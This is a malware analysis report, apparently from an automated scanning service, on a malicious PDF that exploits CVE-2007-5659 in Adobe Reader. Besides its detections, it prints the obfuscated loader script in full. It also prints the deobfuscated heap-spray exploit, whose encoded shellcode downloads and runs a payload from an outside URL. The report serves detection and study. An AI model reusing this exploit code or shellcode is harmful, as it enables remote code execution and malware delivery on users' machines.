Malicious PDF — malware analysis report

Static analysis result for SHA-256 b673ad0dcc50dbb0…

MALICIOUS

PDF

2.0 KB First seen: 2012-07-12
MD5: d31f2b3c26fd87df34fc3e6cd9d65ce4 SHA-1: e4fbbeacde41f13c671e9e5101f415a99d1dfee9 SHA-256: b673ad0dcc50dbb04eb2c7398d13f483e8cb0928555da0efa3429503bb07e53c
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

This PDF file contains embedded JavaScript that is obfuscated using unescape() and eval() calls, indicative of exploit code. The critical heuristic CVE_2007_5659 specifically identifies the use of Collab.collectEmailInfo, a known vector for this vulnerability. The embedded JavaScript streams, particularly 'legacy_pdfkit_stage_000.js', are likely responsible for executing the exploit, which is further confirmed by the high ML classifier score and ClamAV detection. The primary attack pattern involves leveraging this vulnerability to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> S …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35930 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35930
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kjvs.info/as2/l.php?i=4 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x6D0 697 bytes
SHA-256: f23e505f155bfa9b9f356fa9fddf8d7fcafcc37fc2df3878e575e72c00c819d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator.replace(/z/igm,'%')/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/)/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2622 bytes
SHA-256: 2901d7a19c47634915ce287f5f33d9657f758b7bf506cfe52d3875a22aae43aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u6b2f%u766a%u2e73%u6e69%u6f66%u612f%u3273%u6c2f%u702e%u7068%u693f%u343d%u9000');var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape('%u9090%u9090');yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape('%u0c0c%u0c0c');while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:'', msg:overflow});

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